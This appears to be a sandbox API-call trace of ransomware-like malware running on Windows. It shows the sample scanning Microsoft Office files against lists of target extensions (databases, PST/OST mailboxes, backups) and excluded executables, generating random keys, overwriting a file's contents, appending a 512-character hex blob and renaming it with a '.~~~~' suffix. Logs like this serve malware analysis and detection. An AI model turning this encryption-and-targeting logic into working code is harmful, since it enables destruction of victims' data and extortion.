	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".sdf") returned 0x0
	[0141.934] lstrlenW (lpString=".accdb") returned 6
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".accdb") returned 0x0
	[0141.934] lstrlenW (lpString=".DBX") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DBX") returned 0x0
	[0141.934] lstrlenW (lpString=".MDT") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".MDT") returned 0x0
	[0141.934] lstrlenW (lpString=".SQB") returned 4
	[0141.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".SQB") returned 0x0
	[0141.934] lstrlenW (lpString=".vhd") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".vhd") returned 0x0
	[0141.935] lstrlenW (lpString=".bac") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".bac") returned 0x0
	[0141.935] lstrlenW (lpString=".mdf") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".mdf") returned 0x0
	[0141.935] lstrlenW (lpString=".BAK") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".BAK") returned 0x0
	[0141.935] lstrlenW (lpString=".BAC") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".BAC") returned 0x0
	[0141.935] lstrlenW (lpString=".dbs") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dbs") returned 0x0
	[0141.935] lstrlenW (lpString=".vhdx") returned 5
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.935] lstrlenW (lpString=".NDF") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".NDF") returned 0x0
	[0141.935] lstrlenW (lpString=".dat") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dat") returned 0x0
	[0141.935] lstrlenW (lpString=".DBS") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DBS") returned 0x0
	[0141.935] lstrlenW (lpString=".CKP") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".CKP") returned 0x0
	[0141.935] lstrlenW (lpString=".edb") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".edb") returned 0x0
	[0141.935] lstrlenW (lpString=".PST") returned 4
	[0141.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".PST") returned 0x0
	[0141.936] lstrlenW (lpString=".dbf") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dbf") returned 0x0
	[0141.936] lstrlenW (lpString=".SQL") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".SQL") returned 0x0
	[0141.936] lstrlenW (lpString=".pst") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".pst") returned 0x0
	[0141.936] lstrlenW (lpString=".dbv") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dbv") returned 0x0
	[0141.936] lstrlenW (lpString=".SDF") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".SDF") returned 0x0
	[0141.936] lstrlenW (lpString=".dtxs") returned 5
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.936] lstrlenW (lpString=".db3") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".db3") returned 0x0
	[0141.936] lstrlenW (lpString=".OST") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".OST") returned 0x0
	[0141.936] lstrlenW (lpString=".dbx") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dbx") returned 0x0
	[0141.936] lstrlenW (lpString=".DB3") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DB3") returned 0x0
	[0141.936] lstrlenW (lpString=".DAT") returned 4
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DAT") returned 0x0
	[0141.936] lstrlenW (lpString=".VHDX") returned 5
	[0141.936] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.937] lstrlenW (lpString=".ndf") returned 4
	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".ndf") returned 0x0
	[0141.937] lstrlenW (lpString=".DB") returned 3
	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DB") returned 0x0
	[0141.937] lstrlenW (lpString=".sql") returned 4
	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".sql") returned 0x0
	[0141.937] lstrlenW (lpString=".MYD") returned 4
	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".MYD") returned 0x0
	[0141.937] lstrlenW (lpString=".DBT") returned 4
	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DBT") returned 0x0
	[0141.937] lstrlenW (lpString=".ACCDB") returned 6
	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.937] lstrlenW (lpString=".fdb") returned 4
	[0141.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".fdb") returned 0x0
	[0141.998] lstrlenW (lpString=".bak") returned 4
	[0141.998] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".bak") returned 0x0
	[0141.998] lstrlenW (lpString=".myd") returned 4
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".myd") returned 0x0
	[0141.999] lstrlenW (lpString=".DTXS") returned 5
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.999] lstrlenW (lpString=".ckp") returned 4
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".ckp") returned 0x0
	[0141.999] lstrlenW (lpString=".dbt") returned 4
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".dbt") returned 0x0
	[0141.999] lstrlenW (lpString=".db") returned 3
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".db") returned 0x0
	[0141.999] lstrlenW (lpString=".TXT") returned 4
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".TXT") returned 0x0
	[0141.999] lstrlenW (lpString=".MDF") returned 4
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".MDF") returned 0x0
	[0141.999] lstrlenW (lpString=".bdb") returned 4
	[0141.999] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".bdb") returned 0x0
	[0141.999] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.000] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.000] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.001] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.002] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26199166599) returned 1
	[0142.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe0c5f90, dwHighDateTime=0x1d60e1e)) 
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2978
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2978 | out: hHeap=0x300000) returned 1
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0142.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b878
	[0142.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.003] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.003] GetLastError () returned 0x0
	[0142.003] GetLastError () returned 0x0
	[0142.003] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.003] GetLastError () returned 0x0
	[0142.003] GetLastError () returned 0x0
	[0142.003] ReadFile (in: hFile=0x104, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x76cd, lpOverlapped=0x0) returned 1
	[0142.006] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff8933, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.006] WriteFile (in: hFile=0x104, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x76cd, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x76cd, lpOverlapped=0x0) returned 1
	[0142.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.007] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.007] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.007] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.007] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.007] CloseHandle (hObject=0x104) returned 1
	[0142.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0142.009] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif.~~~~")) returned 1
	[0142.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0142.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.043] GetLastError () returned 0x0
	[0142.043] RtlWakeConditionVariable () returned 0x365f70
	[0142.043] GetCurrentThreadId () returned 0x3a4
	[0142.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".scr") returned 0x0
	[0142.043] lstrlenW (lpString=".cmd") returned 4
	[0142.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".cmd") returned 0x0
	[0142.043] lstrlenW (lpString=".dll") returned 4
	[0142.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dll") returned 0x0
	[0142.043] lstrlenW (lpString=".bat") returned 4
	[0142.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".bat") returned 0x0
	[0142.043] lstrlenW (lpString=".cpl") returned 4
	[0142.043] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".cpl") returned 0x0
	[0142.043] lstrlenW (lpString=".sys") returned 4
	[0142.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".sys") returned 0x0
	[0142.044] lstrlenW (lpString=".msc") returned 4
	[0142.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".msc") returned 0x0
	[0142.044] lstrlenW (lpString=".com") returned 4
	[0142.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".com") returned 0x0
	[0142.044] lstrlenW (lpString=".lnk") returned 4
	[0142.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".lnk") returned 0x0
	[0142.044] lstrlenW (lpString=".msp") returned 4
	[0142.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".msp") returned 0x0
	[0142.044] lstrlenW (lpString=".pif") returned 4
	[0142.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".pif") returned 0x0
	[0142.044] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.045] lstrlenW (lpString=".sqb") returned 4
	[0142.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".sqb") returned 0x0
	[0142.045] lstrlenW (lpString=".ost") returned 4
	[0142.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".ost") returned 0x0
	[0142.045] lstrlenW (lpString=".txt") returned 4
	[0142.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".txt") returned 0x0
	[0142.046] lstrlenW (lpString=".mdt") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".mdt") returned 0x0
	[0142.046] lstrlenW (lpString=".BDB") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".BDB") returned 0x0
	[0142.046] lstrlenW (lpString=".eql") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".eql") returned 0x0
	[0142.046] lstrlenW (lpString=".DBF") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DBF") returned 0x0
	[0142.046] lstrlenW (lpString=".EQL") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".EQL") returned 0x0
	[0142.046] lstrlenW (lpString=".FDB") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".FDB") returned 0x0
	[0142.046] lstrlenW (lpString=".EDB") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".EDB") returned 0x0
	[0142.046] lstrlenW (lpString=".DACPAC") returned 7
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.046] lstrlenW (lpString=".VHD") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".VHD") returned 0x0
	[0142.046] lstrlenW (lpString=".DBV") returned 4
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DBV") returned 0x0
	[0142.046] lstrlenW (lpString=".dacpac") returned 7
	[0142.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.046] lstrlenW (lpString=".sdf") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".sdf") returned 0x0
	[0142.047] lstrlenW (lpString=".accdb") returned 6
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".accdb") returned 0x0
	[0142.047] lstrlenW (lpString=".DBX") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DBX") returned 0x0
	[0142.047] lstrlenW (lpString=".MDT") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".MDT") returned 0x0
	[0142.047] lstrlenW (lpString=".SQB") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".SQB") returned 0x0
	[0142.047] lstrlenW (lpString=".vhd") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".vhd") returned 0x0
	[0142.047] lstrlenW (lpString=".bac") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".bac") returned 0x0
	[0142.047] lstrlenW (lpString=".mdf") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".mdf") returned 0x0
	[0142.047] lstrlenW (lpString=".BAK") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".BAK") returned 0x0
	[0142.047] lstrlenW (lpString=".BAC") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".BAC") returned 0x0
	[0142.047] lstrlenW (lpString=".dbs") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dbs") returned 0x0
	[0142.047] lstrlenW (lpString=".vhdx") returned 5
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.047] lstrlenW (lpString=".NDF") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".NDF") returned 0x0
	[0142.047] lstrlenW (lpString=".dat") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dat") returned 0x0
	[0142.047] lstrlenW (lpString=".DBS") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".DBS") returned 0x0
	[0142.047] lstrlenW (lpString=".CKP") returned 4
	[0142.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".CKP") returned 0x0
	[0142.047] lstrlenW (lpString=".edb") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".edb") returned 0x0
	[0142.048] lstrlenW (lpString=".PST") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".PST") returned 0x0
	[0142.048] lstrlenW (lpString=".dbf") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".dbf") returned 0x0
	[0142.048] lstrlenW (lpString=".SQL") returned 4
	[0142.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF", lpSrch=".SQL") returned 0x0
	[0142.048] lstrlenW (lpString=".pst") returned 4
